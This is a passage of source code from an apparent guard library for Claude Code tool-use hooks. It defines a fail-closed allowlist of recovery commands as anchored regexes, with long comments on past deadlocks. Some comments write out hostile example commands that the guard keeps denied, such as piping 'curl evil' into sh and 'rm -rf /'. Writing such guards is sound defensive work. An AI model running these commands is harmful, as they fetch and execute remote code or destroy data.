emitDeny(shimStaleDenyReason(installedShimRulesVersion()) + guardMatrixPointer(docPath), payload.tool_name);\n}\n\n/**\n * Shared entry point for all three Claude Code PreToolUse adapters. `mode` selects which tool kinds\n * to validate; payloads outside the mode's scope pass through (emitAllow). Blocks by emitting a\n * PreToolUse `permissionDecision:\"deny\"` JSON on stdout (exit 0) — see claude-code-response.ts. Fails\n * CLOSED on any unexpected crash (emits a deny) so a broken hook never silently lets an edit through,\n * and the reason now surfaces in the Claude Code UI instead of being hidden on a stderr+exit-2 block.\n */\nexport async function runMain(mode: HookMode): Promise<void> {\n // Captured from the payload as soon as it parses so the fail-closed catch below can tell denyJson\n // which tool it is denying — a crash on a Bash call still gets the visible red systemMessage, a\n // crash on a file tool does not. Empty (before parse / malformed input) → treated as non-Bash.\n let toolName = '';\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n const raw = await readStdin();\n const payload = safeParse(raw);\n if (!payload) { emitAllow(); }\n toolName = payload.tool_name;\n\n // Prefer the payload cwd (the AI's actual working dir, follows a persisted `cd`) over\n // process.cwd(); they match today, but the payload is the authoritative signal and stays\n // correct if the hook is ever invoked from a fixed dir (e.g. via $CLAUDE_PROJECT_DIR).\n const cwd = payload.cwd ?? process.cwd();\n\n // Committed-shim self-guard: blocks real work while the committed shim is stale, but keeps the\n // recovery path open (cures, reads, config edit). See enforceCommittedShim / shimStaleRecoveryDecision.\n enforceCommittedShim(payload, cwd, mode);\n\n // Read-only tools (Read): audit-log, warm the main-sync cache, then run the ONE read-scoped\n // guard (read-stale-guard) and allow. Runs BEFORE the general rule engine — no code-style rule\n // ever sees a Read, and the only way this path can deny is a stale `main`.\n // The audit trail still records every file the AI opened (see setup.ts).\n if (READ_ONLY_TOOLS.has(payload.tool_name)) {\n const readPath = payload.tool_input.file_path ?? '';\n if (mode !== 'rules') {\n logGuardInvocation(cwd, payload.tool_name, readPath);\n // Reads vastly outnumber edits, so refreshing here is what actually keeps the shared\n // main-sync cache warm for feature-branch-guard. Detached; never slows the read.\n triggerMainSyncRefresh(cwd);\n }\n handleRead(readPath, cwd, mode);\n emitAllow();\n }\n\n // Per-invocation guard log (guard-invocations.log): tool + command/file + live branch +\n // main-sync-status snapshot, on EVERY guards call, for later cleanup automation. Best-effort;\n // never blocks the call. (The committed shim is no longer silently healed here — a mismatch is\n // reported by the self-guard above, not rewritten out from under the AI.)\n if (mode !== 'rules') {\n const target = payload.tool_name === 'Bash' ? (payload.tool_input.command ?? '') : (payload.tool_input.file_path ?? '');\n logGuardInvocation(cwd, payload.tool_name, target);\n }\n\n if (payload.tool_name === 'Bash') {\n // No code-style rule is bash-scoped, so the rules hook ignores Bash.\n if (mode === 'rules') { emitAllow(); }\n handleBash(payload, cwd, mode);\n return;\n }\n\n // File payloads run in 'rules' (code-style), 'guards' (file-scoped guards like\n // feature-branch-guard), and 'all'. The runner filters to the right category.\n handleFileTool(payload, cwd, mode);\n } catch (err: unknown) {\n const error = toError(err);\n // An escaped RuleFailError (a rule that threw past the runner's per-rule catch) or an\n // InformAiError (bad config/stdin) both carry an AI-readable message; anything else is an\n // unexpected bug. All three deny (fail closed) and surface their reason to the AI.\n if (error instanceof RuleFailError) {\n emitDeny(error.aiMessage, toolName);\n } else if (error instanceof InformAiError) {\n emitDeny(error.message, toolName);\n } else {\n emitDeny(`[ai-hooks] hook crashed unexpectedly — failing closed: ${error.message}`, toolName);\n }\n }\n}\n"]}
|
|
@@ -0,0 +1,56 @@
|
|
|
1
|
+
export declare const CAPTURE_TAIL_ERE = "([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$";
|
|
2
|
+
export declare const CAPTURE_TAIL_JS_SRC = "(\\s+2>(&1|\\/dev\\/null))?(\\s*\\|\\s*(tail|head)(\\s+-(n\\s+)?[0-9]+)?)?\\s*$";
|
|
3
|
+
export declare const CD_PREFIX_ERE = "(cd[[:space:]]+[A-Za-z0-9._/@~+-]+[[:space:]]*&&[[:space:]]*)?";
|
|
4
|
+
export declare const CD_PREFIX_JS_SRC = "(cd\\s+[A-Za-z0-9._\\/@~+-]+\\s*&&\\s*)?";
|
|
5
|
+
export declare const INSTALLER_ALLOW_ERE: string;
|
|
6
|
+
export declare const INSTALLER_ALLOW_JS: RegExp;
|
|
7
|
+
export declare const RECOVERY_ALLOW_ERE: string;
|
|
8
|
+
export declare const RECOVERY_ALLOW_JS: RegExp;
|
|
9
|
+
export declare const RECOVERY_CMD = "rm -rf node_modules && pnpm install";
|
|
10
|
+
export declare const SYNC_ALLOW_ERE: string;
|
|
11
|
+
export declare const SYNC_ALLOW_JS: RegExp;
|
|
12
|
+
export declare const UPGRADE_SHIM_ALLOW_ERE: string;
|
|
13
|
+
export declare const UPGRADE_SHIM_ALLOW_JS: RegExp;
|
|
14
|
+
export declare const UPGRADE_SHIM_CMD = "pnpm exec wp-upgrade-shim";
|
|
15
|
+
export declare const RESTORE_SHIM_ALLOW_ERE: string;
|
|
16
|
+
export declare const RESTORE_SHIM_ALLOW_JS: RegExp;
|
|
17
|
+
export declare const RESTORE_SHIM_CMD = "cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh";
|
|
18
|
+
export declare const INSTALL_HOOKS_ALLOW_ERE: string;
|
|
19
|
+
export declare const INSTALL_HOOKS_ALLOW_JS: RegExp;
|
|
20
|
+
export declare const INSTALL_HOOKS_CMD = "pnpm exec wp-install-ai-hooks";
|
|
21
|
+
/** One tool call as L0 judges it: the tool name, the Bash command (or ''), the file target (or ''). */
|
|
22
|
+
export declare class L0Call {
|
|
23
|
+
readonly toolName: string;
|
|
24
|
+
readonly command: string;
|
|
25
|
+
readonly filePath: string;
|
|
26
|
+
constructor(toolName: string, command: string, filePath: string);
|
|
27
|
+
}
|
|
28
|
+
/**
|
|
29
|
+
* One entry of THE L0 allowlist. Data-only → a class, per CLAUDE.md.
|
|
30
|
+
*
|
|
31
|
+
* `ere`/`js` are the twin regex BODIES for a Bash entry, or null for a tool-shaped entry (Read, the
|
|
32
|
+
* webpieces.config.json target) that no regex can express. `sample` is a call this entry must accept —
|
|
33
|
+
* it is what the matrix-coverage and cure-reachability tests drive isAllowed() with.
|
|
34
|
+
*/
|
|
35
|
+
export declare class L0AllowEntry {
|
|
36
|
+
readonly label: string;
|
|
37
|
+
readonly kind: 'pass' | 'allow';
|
|
38
|
+
readonly ere: string | null;
|
|
39
|
+
readonly js: string | null;
|
|
40
|
+
readonly sample: L0Call;
|
|
41
|
+
constructor(label: string, kind: 'pass' | 'allow', ere: string | null, js: string | null, sample: L0Call);
|
|
42
|
+
}
|
|
43
|
+
export declare const L0_ALLOWLIST: readonly L0AllowEntry[];
|
|
44
|
+
export declare const L0_ALLOW_ERE: string;
|
|
45
|
+
export declare const L0_ALLOW_JS: RegExp;
|
|
46
|
+
export declare const READ_TOOLS: ReadonlySet<string>;
|
|
47
|
+
/**
|
|
48
|
+
* `isAllowed(call)` — THE L0 allowlist, with no fault parameter. See the block comment above.
|
|
49
|
+
*
|
|
50
|
+
* Returns the OUTCOME KIND, because the two are not the same thing:
|
|
51
|
+
* - 'pass' → L0 has no objection; fall THROUGH so L1/L2 still judge this call (Read, config edit).
|
|
52
|
+
* - 'allow' → terminal; bypass everything, because a cure must stay reachable even when a downstream
|
|
53
|
+
* guard would block it.
|
|
54
|
+
* - null → not on the list.
|
|
55
|
+
*/
|
|
56
|
+
export declare function isAllowed(toolName: string, command: string, filePath: string): 'pass' | 'allow' | null;
|
|
@@ -0,0 +1,307 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.READ_TOOLS = exports.L0_ALLOW_JS = exports.L0_ALLOW_ERE = exports.L0_ALLOWLIST = exports.L0AllowEntry = exports.L0Call = exports.INSTALL_HOOKS_CMD = exports.INSTALL_HOOKS_ALLOW_JS = exports.INSTALL_HOOKS_ALLOW_ERE = exports.RESTORE_SHIM_CMD = exports.RESTORE_SHIM_ALLOW_JS = exports.RESTORE_SHIM_ALLOW_ERE = exports.UPGRADE_SHIM_CMD = exports.UPGRADE_SHIM_ALLOW_JS = exports.UPGRADE_SHIM_ALLOW_ERE = exports.SYNC_ALLOW_JS = exports.SYNC_ALLOW_ERE = exports.RECOVERY_CMD = exports.RECOVERY_ALLOW_JS = exports.RECOVERY_ALLOW_ERE = exports.INSTALLER_ALLOW_JS = exports.INSTALLER_ALLOW_ERE = exports.CD_PREFIX_JS_SRC = exports.CD_PREFIX_ERE = exports.CAPTURE_TAIL_JS_SRC = exports.CAPTURE_TAIL_ERE = void 0;
|
|
4
|
+
exports.isAllowed = isAllowed;
|
|
5
|
+
const tslib_1 = require("tslib");
|
|
6
|
+
const path = tslib_1.__importStar(require("path"));
|
|
7
|
+
const rules_config_1 = require("@webpieces/rules-config");
|
|
8
|
+
// ---------------------------------------------------------------------------
|
|
9
|
+
// THE L0 ALLOWLIST — the vocabulary (six named cure patterns, each an ERE+JS twin pair), the ONE union
|
|
10
|
+
// every L0 fault consults, and isAllowed(), the single question sh and JS both ask.
|
|
11
|
+
//
|
|
12
|
+
// Split out of ./shim.ts purely for size (the shim module also renders the shim body). shim.ts
|
|
13
|
+
// re-exports everything here, so every existing import keeps working, and this module stays as
|
|
14
|
+
// dependency-free as shim.ts must be: it has to load on a tree too broken to load the rule engine.
|
|
15
|
+
// ---------------------------------------------------------------------------
|
|
16
|
+
// The OUTPUT-CAPTURE TAIL every escape hatch below tolerates — the 2026-07-21 deadlock report, part 2.
|
|
17
|
+
// Every allowlist was anchored to a BARE command, but the way an AI assistant actually spells a
|
|
18
|
+
// diagnostic command is `<cmd> 2>&1 | tail -20` (it trims the output it has to read back). The audit
|
|
19
|
+
// log proves it: `.webpieces/logs/ai-hook-shim.log` has `pnpm install 2>&1 | tail -15` logged as
|
|
20
|
+
// DENY-STALE seconds away from a bare `pnpm install` logged as ALLOW-INSTALL — the same cure, denied
|
|
21
|
+
// for its redirection. A cure that is denied when spelled the natural way reads to the assistant as
|
|
22
|
+
// "the guard blocks its own fix", which is exactly the conclusion it drew before handing the fix back
|
|
23
|
+
// to the human.
|
|
24
|
+
//
|
|
25
|
+
// So each hatch accepts an OPTIONAL trailing stderr redirect (`2>&1` to fold stderr in, or `2>/dev/null`
|
|
26
|
+
// to drop it — I hit the missing `2>/dev/null` case myself within the hour, running `pnpm install
|
|
27
|
+
// 2>/dev/null | tail -2` against a drift block) and an OPTIONAL pipe into `tail`/`head` carrying at
|
|
28
|
+
// most a line-count flag (`-20`, `-n 20`). Nothing else: the pipe target is one of two literal,
|
|
29
|
+
// read-only pager words and its only argument is digits, so `| sh`, `| curl …`, `| tee /etc/x` and
|
|
30
|
+
// every other operator stay DENIED. Spliced in place of each pattern's old `[[:space:]]*$` tail, so the
|
|
31
|
+
// anchoring at both ends is unchanged. Keep in sync with CAPTURE_TAIL_JS_SRC (locked by a unit test).
|
|
32
|
+
exports.CAPTURE_TAIL_ERE = '([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$';
|
|
33
|
+
// JS-regex-source twin of CAPTURE_TAIL_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts they agree.
|
|
34
|
+
exports.CAPTURE_TAIL_JS_SRC = '(\\s+2>(&1|\\/dev\\/null))?(\\s*\\|\\s*(tail|head)(\\s+-(n\\s+)?[0-9]+)?)?\\s*$';
|
|
35
|
+
// The DIRECTORY PREFIX every escape hatch tolerates — the 2026-07-30 worktree deadlock.
|
|
36
|
+
//
|
|
37
|
+
// A Bash tool call does NOT persist `cd`: a standalone `cd <worktree>` followed by `pwd` in the next
|
|
38
|
+
// call reports the primary clone again. So an agent working in a linked worktree can only reach that
|
|
39
|
+
// tree with a self-contained `cd <worktree> && …`. The drift guard demanded a BARE `pnpm install`
|
|
40
|
+
// ("do NOT put a cd in front of it") while the install was needed in the worktree — the cure was
|
|
41
|
+
// literally untypable from the place that needed it, and a bare `cd <worktree>` was itself blocked.
|
|
42
|
+
//
|
|
43
|
+
// A leading `cd <path> &&` cannot change what the command does to a repo, so it is not a safety
|
|
44
|
+
// concern; and this stays as un-smuggleable as the rest of the hatch, because the path token accepts
|
|
45
|
+
// only path characters — no whitespace, no quote, no `$`, no backtick, and no shell operator. So
|
|
46
|
+
// `cd /x && pnpm install` passes while `cd $(curl evil) && pnpm install`, `cd /x; rm -rf /` and
|
|
47
|
+
// `cd /x && pnpm install && rm -rf /` all still FAIL CLOSED.
|
|
48
|
+
// Keep in sync with CD_PREFIX_JS_SRC (locked by a unit test).
|
|
49
|
+
exports.CD_PREFIX_ERE = '(cd[[:space:]]+[A-Za-z0-9._/@~+-]+[[:space:]]*&&[[:space:]]*)?';
|
|
50
|
+
// JS-regex-source twin of CD_PREFIX_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts they agree.
|
|
51
|
+
exports.CD_PREFIX_JS_SRC = '(cd\\s+[A-Za-z0-9._\\/@~+-]+\\s*&&\\s*)?';
|
|
52
|
+
// Every hatch below starts with the anchor + the optional `cd` prefix. Spliced in place of each
|
|
53
|
+
// pattern's old bare `^`, so the anchoring at both ends is unchanged.
|
|
54
|
+
const CD_PREFIX_ERE_ANCHORED = '^' + exports.CD_PREFIX_ERE;
|
|
55
|
+
const CD_PREFIX_JS_ANCHORED = '^' + exports.CD_PREFIX_JS_SRC;
|
|
56
|
+
// Package-manager install commands allowed to pass the fail-closed shim so the assistant can
|
|
57
|
+
// self-heal the guards (run `pnpm install`) when node_modules is absent — otherwise the guard blocks
|
|
58
|
+
// the very command that re-enables it (deadlock). nx/pnpm monorepo only. POSIX ERE (fed to `grep -E`).
|
|
59
|
+
//
|
|
60
|
+
// What's allowed (the realistic self-heal spellings — an earlier version only matched a bare
|
|
61
|
+
// `pnpm install`, so `pnpm i` and `--flag=value` got fail-CLOSED and re-deadlocked the assistant):
|
|
62
|
+
// - pkg managers: pnpm | npm (this nx monorepo uses pnpm; npm is accepted as the fallback. NOT
|
|
63
|
+
// yarn — this repo installs with pnpm/npm only, so yarn stays denied.)
|
|
64
|
+
// - subcommands: install | i (`pnpm i` / `npm i` is just shorthand for `install`)
|
|
65
|
+
// - flags: zero or more `--flag` / `--flag=value` tokens (no whitespace, no operators)
|
|
66
|
+
//
|
|
67
|
+
// An optional LEADING `cd <path> &&` (CD_PREFIX_ERE) — added 2026-07-30. The old comment here argued a
|
|
68
|
+
// `cd` is never needed because Claude Code starts at the repo root. That is false in a LINKED WORKTREE:
|
|
69
|
+
// git copies no node_modules into a new worktree, so the very first call there needs an install in THAT
|
|
70
|
+
// tree, and `cd` does not persist between tool calls, so `cd <worktree> && pnpm install` is the only
|
|
71
|
+
// spelling that reaches it. Denying the prefix made the cure unreachable from the one place it was
|
|
72
|
+
// needed. It widens nothing: the prefix cannot change what the install does, and the path token admits
|
|
73
|
+
// no operator (see CD_PREFIX_ERE).
|
|
74
|
+
//
|
|
75
|
+
// Why it's un-smuggleable (the whole point of failing closed): the tail is anchored to `$` and only
|
|
76
|
+
// accepts `--word` tokens, so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) can ride
|
|
77
|
+
// along — `pnpm install && rm -rf /` and `pnpm install; curl evil | sh` still FAIL CLOSED.
|
|
78
|
+
// Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).
|
|
79
|
+
const INSTALLER_BODY_ERE = '(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';
|
|
80
|
+
exports.INSTALLER_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + INSTALLER_BODY_ERE + exports.CAPTURE_TAIL_ERE;
|
|
81
|
+
// JS-regex twin of INSTALLER_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). The fail-closed shim (pure sh)
|
|
82
|
+
// uses the ERE for the missing-bin case; the runner uses THIS twin (runBashInternal) so installer
|
|
83
|
+
// commands also pass when the bin IS installed but the config is invalid/ahead of the validator —
|
|
84
|
+
// same deadlock, other side. A unit test asserts the two agree on a sample set.
|
|
85
|
+
const INSTALLER_BODY_JS = '(pnpm|npm)\\s+(install|i)(\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';
|
|
86
|
+
exports.INSTALLER_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + INSTALLER_BODY_JS + exports.CAPTURE_TAIL_JS_SRC);
|
|
87
|
+
// The RECOVERY command, allowed alongside INSTALLER_ALLOW_ERE on every fail-closed path.
|
|
88
|
+
//
|
|
89
|
+
// Why a plain `pnpm install` is NOT enough (learned the hard way): when node_modules is CORRUPT — a
|
|
90
|
+
// package half-written by an install that was killed mid-copy — pnpm sees a package dir carrying the
|
|
91
|
+
// right version in its package.json, considers it installed, and SKIPS it. `pnpm install` cheerfully
|
|
92
|
+
// reports "up to date" and the corruption survives every retry. The only reliable cure is to delete
|
|
93
|
+
// node_modules so pnpm re-materializes the package from the (healthy) global store. So the fail-closed
|
|
94
|
+
// escape hatch MUST allow the wipe too, or the assistant is left denying its own cure (deadlock).
|
|
95
|
+
//
|
|
96
|
+
// Kept as tight as INSTALLER_ALLOW_ERE: anchored at both ends, the ONLY shell operator accepted is a
|
|
97
|
+
// single `&&` in exactly one position, and the rm target is literally `node_modules` — nothing else.
|
|
98
|
+
// So `rm -rf /`, `rm -rf node_modules/../..`, `rm -rf node_modules; curl evil | sh` all stay DENIED.
|
|
99
|
+
// Keep in sync with RECOVERY_ALLOW_JS below (locked by a unit test).
|
|
100
|
+
const RECOVERY_BODY_ERE = 'rm[[:space:]]+-rf[[:space:]]+(\\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';
|
|
101
|
+
exports.RECOVERY_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + RECOVERY_BODY_ERE + exports.CAPTURE_TAIL_ERE;
|
|
102
|
+
// JS-regex twin of RECOVERY_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts the two agree.
|
|
103
|
+
const RECOVERY_BODY_JS = 'rm\\s+-rf\\s+(\\.\\/)?node_modules\\/?(\\s*&&\\s*(pnpm|npm)\\s+(install|i)(\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';
|
|
104
|
+
exports.RECOVERY_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + RECOVERY_BODY_JS + exports.CAPTURE_TAIL_JS_SRC);
|
|
105
|
+
// The exact command we tell the human/assistant to run to recover a corrupt node_modules.
|
|
106
|
+
exports.RECOVERY_CMD = 'rm -rf node_modules && pnpm install';
|
|
107
|
+
// Git SYNC commands. Part of the ONE L0 allowlist (see L0_ALLOW_ERE), so they are allowed under EVERY
|
|
108
|
+
// L0 fault, not just drift. They used to be gated on drift alone, on the reasoning that no amount of
|
|
109
|
+
// git can fix a missing/broken bin. True but irrelevant: an allowlist entry that cannot help also
|
|
110
|
+
// cannot hurt, and the gating had a real cost — under a stale committed shim, `git pull` is the ONLY
|
|
111
|
+
// cure when the CHECKOUT is the stale side, and it was denied. Ungating it removes that trap.
|
|
112
|
+
//
|
|
113
|
+
// `merge` was REMOVED from this list. It was accepted here while the guards are DOWN, and the drift
|
|
114
|
+
// message had to spend a sentence telling the reader NOT to use the thing the allowlist permits —
|
|
115
|
+
// because redirect-how-to-merge-main blocks `git merge` in every form the moment the guards come back.
|
|
116
|
+
// Main is merged only through the 3-point fork merge (`wp-start-*`). With one global allowlist that
|
|
117
|
+
// hole would widen from one fault to all six, so the entry goes rather than the gating.
|
|
118
|
+
//
|
|
119
|
+
// The deadlock this entry exists for, hit 2026-07-17:
|
|
120
|
+
//
|
|
121
|
+
// The drift guard was written for ONE direction — you `git pull`, the new package.json pins a NEWER
|
|
122
|
+
// @webpieces, node_modules is still OLD, and `pnpm install` catches it up. But the comparison is a
|
|
123
|
+
// plain `!=`, so it fires just as hard in the INVERSE case: check out a branch (or a local `main`)
|
|
124
|
+
// that is BEHIND origin, and now the PIN is the stale side while node_modules is correct and NEWER.
|
|
125
|
+
//
|
|
126
|
+
// In that inverse case `pnpm install` is not the cure, it is the disease: it happily DOWNGRADES
|
|
127
|
+
// node_modules to the stale pin. The real cure is `git pull` — which the guard denied, because the
|
|
128
|
+
// allowlist only ever contained the installer. So the assistant was told to run the one command that
|
|
129
|
+
// made things worse, while the fix was blocked. Allow the sync commands here and the deadlock is gone.
|
|
130
|
+
//
|
|
131
|
+
// Kept exactly as tight as INSTALLER_ALLOW_ERE: anchored at both ends, and every argument token is a
|
|
132
|
+
// bare word or `--flag` — so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`) can ride along.
|
|
133
|
+
// `git pull; curl evil | sh` still FAILS CLOSED. Deliberately NOT `git checkout`: switching branches is
|
|
134
|
+
// what CAUSES this drift, and a fail-closed escape hatch should only contain cures.
|
|
135
|
+
// Keep in sync with SYNC_ALLOW_JS below (locked by a unit test).
|
|
136
|
+
const SYNC_BODY_ERE = 'git[[:space:]]+(pull|fetch)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';
|
|
137
|
+
exports.SYNC_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + SYNC_BODY_ERE + exports.CAPTURE_TAIL_ERE;
|
|
138
|
+
// JS-regex twin of SYNC_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts the two agree.
|
|
139
|
+
const SYNC_BODY_JS = 'git\\s+(pull|fetch)(\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';
|
|
140
|
+
exports.SYNC_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + SYNC_BODY_JS + exports.CAPTURE_TAIL_JS_SRC);
|
|
141
|
+
// The CURE for the committed-shim self-guard (now enforced by the binary — see committedShimStale
|
|
142
|
+
// below): regenerate .claude/webpieces/ai-hook.sh from renderShim(). Allowed while that guard is up —
|
|
143
|
+
// like the installer, it is a webpieces-owned, no-network local action whose whole job is to re-arm the
|
|
144
|
+
// guard, so denying it would deadlock the assistant against its own fix. Accepts the realistic spellings of the wp-upgrade-shim bin under
|
|
145
|
+
// pnpm/npm/npx; anchored at both ends with only a bare bin name, so no shell operator can ride along.
|
|
146
|
+
// Keep in sync with UPGRADE_SHIM_ALLOW_JS below (locked by a unit test).
|
|
147
|
+
const UPGRADE_SHIM_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-upgrade-shim';
|
|
148
|
+
exports.UPGRADE_SHIM_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + UPGRADE_SHIM_BODY_ERE + exports.CAPTURE_TAIL_ERE;
|
|
149
|
+
// JS-regex twin of UPGRADE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts they agree.
|
|
150
|
+
const UPGRADE_SHIM_BODY_JS = '(pnpm|npm|npx)(\\s+(exec|run))?\\s+wp-upgrade-shim';
|
|
151
|
+
exports.UPGRADE_SHIM_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + UPGRADE_SHIM_BODY_JS + exports.CAPTURE_TAIL_JS_SRC);
|
|
152
|
+
// The exact command we tell the assistant to run to regenerate a reverted/edited committed shim.
|
|
153
|
+
exports.UPGRADE_SHIM_CMD = 'pnpm exec wp-upgrade-shim';
|
|
154
|
+
// The PRIMARY, version-AGNOSTIC cure for the self-guard — and the reason this exists (hit 2026-07-21):
|
|
155
|
+
// the self-guard's deny used to name ONLY `pnpm exec wp-upgrade-shim`, but that bin ships in
|
|
156
|
+
// @webpieces/ai-hook-rules >= 0.4.408. Every repo on an OLDER installed release — i.e. exactly the
|
|
157
|
+
// repos that can hit this, since node_modules is what the shim compares itself against — got
|
|
158
|
+
// "command not found" and was left with a hard block and no working cure. In the reporter's words, the
|
|
159
|
+
// message gave "ZERO information" on how to actually fix it.
|
|
160
|
+
//
|
|
161
|
+
// A plain `cp` of the installed template over the committed shim has none of that version coupling:
|
|
162
|
+
// templates/ai-hook.sh ships in EVERY release and is byte-identical to renderShim() (locked by a unit
|
|
163
|
+
// test), which is exactly what the binary's committedShimStale() compares the committed shim against;
|
|
164
|
+
// cp onto an existing file keeps the destination's mode, so the shim stays executable with no chmod.
|
|
165
|
+
// It cures the block on any version, old or new —
|
|
166
|
+
// which is why the deny now leads with it and only mentions the bin as the newer equivalent.
|
|
167
|
+
//
|
|
168
|
+
// Kept as tight as the other escape hatches: anchored at both ends, no flags, and BOTH paths are
|
|
169
|
+
// literal webpieces-owned paths — so no other file can be read or written and no operator can ride
|
|
170
|
+
// along. Keep in sync with RESTORE_SHIM_ALLOW_JS below (locked by a unit test).
|
|
171
|
+
const RESTORE_SHIM_BODY_ERE = 'cp[[:space:]]+(\\./)?node_modules/@webpieces/ai-hook-rules/templates/ai-hook\\.sh[[:space:]]+(\\./)?\\.claude/webpieces/ai-hook\\.sh';
|
|
172
|
+
exports.RESTORE_SHIM_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + RESTORE_SHIM_BODY_ERE + exports.CAPTURE_TAIL_ERE;
|
|
173
|
+
// JS-regex twin of RESTORE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts they agree.
|
|
174
|
+
const RESTORE_SHIM_BODY_JS = 'cp\\s+(\\.\\/)?node_modules\\/@webpieces\\/ai-hook-rules\\/templates\\/ai-hook\\.sh\\s+(\\.\\/)?\\.claude\\/webpieces\\/ai-hook\\.sh';
|
|
175
|
+
exports.RESTORE_SHIM_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + RESTORE_SHIM_BODY_JS + exports.CAPTURE_TAIL_JS_SRC);
|
|
176
|
+
// The exact command the self-guard's deny tells the assistant to run. Works on EVERY installed version.
|
|
177
|
+
exports.RESTORE_SHIM_CMD = 'cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh';
|
|
178
|
+
// The THIRD cure for the self-guard, and the one with the longest shelf life: the installer itself.
|
|
179
|
+
//
|
|
180
|
+
// `wp-install-ai-hooks` has shipped in every release of this package since it created the shim (the
|
|
181
|
+
// shim's own header line names it as the managing command), and install-entry.ts calls healShim()
|
|
182
|
+
// FIRST, through the dependency-free ./shim module, before it lazily requires the rule engine. So it
|
|
183
|
+
// re-arms the committed shim on a tree too broken to load setup.ts, exactly like wp-upgrade-shim, and
|
|
184
|
+
// it does so on releases that predate wp-upgrade-shim (< 0.4.408) where that bin is not on disk at all.
|
|
185
|
+
// That combination — always present AND a named bin rather than a raw file overwrite — is why the deny
|
|
186
|
+
// now leads with it: the `cp` is version-agnostic too, but Claude Code's own permission classifier
|
|
187
|
+
// treats a bare cp over a repo file as something to confirm, while a named bin reads as a tool call.
|
|
188
|
+
//
|
|
189
|
+
// Kept as tight as the other escape hatches: anchored at both ends, bare bin name, no flags, so no
|
|
190
|
+
// shell operator can ride along. Keep in sync with INSTALL_HOOKS_ALLOW_JS below (locked by a unit test).
|
|
191
|
+
const INSTALL_HOOKS_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-install-ai-hooks';
|
|
192
|
+
exports.INSTALL_HOOKS_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + INSTALL_HOOKS_BODY_ERE + exports.CAPTURE_TAIL_ERE;
|
|
193
|
+
// JS-regex twin of INSTALL_HOOKS_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts they agree.
|
|
194
|
+
const INSTALL_HOOKS_BODY_JS = '(pnpm|npm|npx)(\\s+(exec|run))?\\s+wp-install-ai-hooks';
|
|
195
|
+
exports.INSTALL_HOOKS_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + INSTALL_HOOKS_BODY_JS + exports.CAPTURE_TAIL_JS_SRC);
|
|
196
|
+
// The exact command the self-guard's deny names FIRST. Present in every release that has a shim.
|
|
197
|
+
exports.INSTALL_HOOKS_CMD = 'pnpm exec wp-install-ai-hooks';
|
|
198
|
+
// ---------------------------------------------------------------------------
|
|
199
|
+
// THE L0 ALLOWLIST — one list, consulted identically by every tooling-integrity fault.
|
|
200
|
+
//
|
|
201
|
+
// L0 is the outermost layer: it blocks work while node_modules, the committed shim, or
|
|
202
|
+
// webpieces.config.json are in a state that makes every OTHER guard untrustworthy. Its six faults are
|
|
203
|
+
// D version drift (sh, before the bin runs) S committed shim != renderShim() (bin)
|
|
204
|
+
// X bin missing (sh) C webpieces.config.json missing (bin)
|
|
205
|
+
// K bin present, crashed (sh) Y a loaded rule has no config key (bin)
|
|
206
|
+
//
|
|
207
|
+
// Drawn as a decision matrix, L0 has NO genuine second dimension. Every branch reduces to
|
|
208
|
+
// fault present AND call not on the allowlist -> BLOCK(messageFor(fault))
|
|
209
|
+
// and the only thing that varies per fault is the MESSAGE. The applicability of each cure used to vary
|
|
210
|
+
// too, but that variation was an accident of which code path a fault happened to be detected in, and it
|
|
211
|
+
// cost four real defects:
|
|
212
|
+
// - under S, `pnpm install` was denied — so when node_modules is the STALE side, every permitted cure
|
|
213
|
+
// wrote the OLD binary's renderShim() over a NEWER committed shim, silently reverting a commit.
|
|
214
|
+
// - under S, `git pull` was denied — the only cure when the CHECKOUT is the stale side.
|
|
215
|
+
// - under D/X/K, every Read was denied — no way to inspect, not even the config that disables it.
|
|
216
|
+
